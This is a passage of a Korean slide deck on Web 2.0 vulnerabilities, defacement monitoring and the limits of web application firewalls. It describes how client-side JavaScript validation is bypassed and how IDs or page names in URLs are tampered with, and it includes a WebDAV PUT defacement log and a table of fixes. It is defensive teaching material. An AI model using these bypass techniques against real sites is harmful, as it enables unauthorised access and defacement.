• Presentation layer: HTML 문서 구성 역할 (HTML/CSS)

• Logic & Process: Ajax 컴포넌트가 존재 및 여러 형태의 자바 스크립트 운영

• Transport: XMLHttpRequest 컴포넌트 존재 및 비동기 통신 방식으로 웹 서버와 XML

데이터 교환

• 웹 서버 (Corporate Infrastructure) 에는 웹 컨텐츠 및 애플리케이션 , DB 등이 운영된다 .

20. Web2.0 취약점

운영 방식

Web 2.0 개념

Page 53: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

53

20. Web2.0 취약점Web 2.0 보안 이슈

(1)웹 스캐너로 분석이 가능한가 ?

- URL 수집을 위해서는 html 파싱이 필요함

- 그러나 Web2.0 기반은 자바스크립트 형태로 html 태그를 연결하고 있음

(2)SQL Injection 과 같은 취약점이 발생되고 있다 .

- HTTP 요청 (GET, POST) 정보 노출

- 원격 코드 삽입 및 조작

- SQL Injection 및 XSS 위험성

- 설계 및 응용 프로그램 로직 오류로 인한 문제점

Page 54: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

54

* 게시판 글 처리 자바스크립트 함수

function ViewContnet(articleidx)

{

location.href = "m06_notice04View.asp?BBSIdx=611&page=1

&modesearch=&searchkind=&searchstring=&articleidx=" +

articleidx;

}

20. Web2.0 취약점20. Web2.0 취약점Web 2.0 보안 이슈

(1)웹 스캐너로 분석이 가능한가 ?

Page 55: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

55

20. Web2.0 취약점Web 2.0 보안 이슈

(1)웹 스캐너로 분석이 가능한가 ?

Web2.0 에서도 자바스크립트를 이용하여 URL 링크를 작성한다 .

* Web 2.0 으로 구성된 게시판 글 처리 함수function getNews(){

var http;http = new XMLHttpRequest();http.open("GET", " getnews.aspx?date=09262006",

true);http.onreadystatechange = function(){

if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; }

}http.send(null);

}

Page 56: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

56

20. Web2.0 취약점Web 2.0 보안 이슈

(2) SQL Injection 과 같은 취약점이 발생되고 있다 .

Page 57: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

57

20. Web2.0 취약점Web 2.0 보안 이슈

(2) SQL Injection 과 같은 취약점이 발생되고 있다 .

•validation.js 로직

Function userval(user)

{

Var userRegxp = /^([a-zA-Z]+)$/; // 영문 소문자와 대문자를 입력할 수 있다 .

if(userRegxp.test(user) ¡=true)

return false;

else

return true;

}

자바스크립트 우회 시도 가능

Page 58: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

58

21. 홈 페이지 변조 감시

http://www.zone-h.org/index.php? option=com_attacks&Itemid=43&filter=1&filter_domain=go.kr

Page 59: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

59

* 홈페이지 변조 로그

xxxx-10-28 22:12:40 85.102.168.77 - X.X.X.X 80 PUT /turkish.htm - 201

Microsoft+Data+Access+Internet+Publishing+Provider+DAV+1.1

xxxx-10-28 22:12:42 85.102.168.77 - X.X.X.X 80 GET /index.asp - 200

Microsoft+URL+Control+-+6.00.8169

xxxx-10-28 22:13:56 85.102.168.77 - X.X.X.X 80 GET /spacer.gif - 404 Mozilla/4.0+

(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)

xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /turkish.htm - 200 Wget/1.9.1

xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /robots.txt - 404 Wget/1.9.1

xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /spacer.gif - 404 Wget/1.9.1

xxxx-10-28 22:14:46 202.122.243.167 - X.X.X.X 80 GET /turkish.htm - 200

libwww-perl/5.803

21. 홈 페이지 변조 감시

Page 60: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

60

허용범위

웹 방화벽은 URL 학습과정을 통해 허용 가능한 범위를 설정하여 허용여부를 결정한다 .

AttackeAttackerr

공격 삽입

공격 시도

22. 웹 보안 솔루션의 한계

Page 61: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

61

22. 웹 보안 솔루션의 한계

프록시 구조

인라인 구조

웹 방화벽 구성 방식

Page 62: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

62

22. 웹 보안 솔루션의 한계

dosearch.asp?type=xxxx&string=xxxx&submitx=xxxx&submitx=xxxx

Page 63: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

63

22. 웹 보안 솔루션의 한계기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다 . !!

업무 설계 오류 우회 시도 (1)

http://www.xxxx.co.kr/info/view.php?user_id=1000

AttackerAttacker

http://www.xxxx.co.kr/info/view.php?http://www.xxxx.co.kr/info/view.php?user_iduser_id=1010=1010

user_id user_id 변경변경

Page 64: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

64

http://www.xxxx.co.kr/news/view.php?news_id=1000

http://www.xxxx.co.kr/news/edit.php?news_id=1000

view.php 변경

22. 웹 보안 솔루션의 한계기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다 . !!

업무 설계 오류 우회 시도 (2)

AttackerAttacker

Page 65: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

65

자바 스크립트 우회

Index.asp

<SCRIPT language="JAVASCRIPT">

function input_Check()

{ …. 중략 …

• 사이트마다 다양한 형식으로 정형화 되어 있지 않음 ( 보안 패턴화 및 룰을 작성 할 수 없다 . )• 웹 브라우저에서만 사용자 요청을 점검한다 .

자바 우회

22. 웹 보안 솔루션의 한계기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다 . !!

AttackerAttacker

Page 66: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

66

NO 발견된 취약점취약점 해결 방식

① 프로그램 수정 ② 설정 변경 ③ 내용 삭제 ④ 웹 방화벽 적용

1 관리자 페이지 노출 - - - 접근 통제 (IP 통제 ) 룰 적용

2 기본 설치 페이지 노출 - - 삭제 CGI 패턴 룰 적용

3 백업 파일 노출 - - 삭제 백업 확장자 룰 적용

4 SQL Injection 프로그램 에러 처리

500번 에러 처리 - SQL Injection

5 다운로드 취약점 ../ 문자열 필터일 - - 다운로드 패턴 적용

6 업 로드 취약점 JSP 확장자 필터링 - - 업로드 위치 파악 필요

7 파라미터 조작을 통한인증 우회 업무 로직 변경 - - -

확인 및 측정을 통한 취약성 해결 방식 결정

22. 웹 보안 솔루션의 한계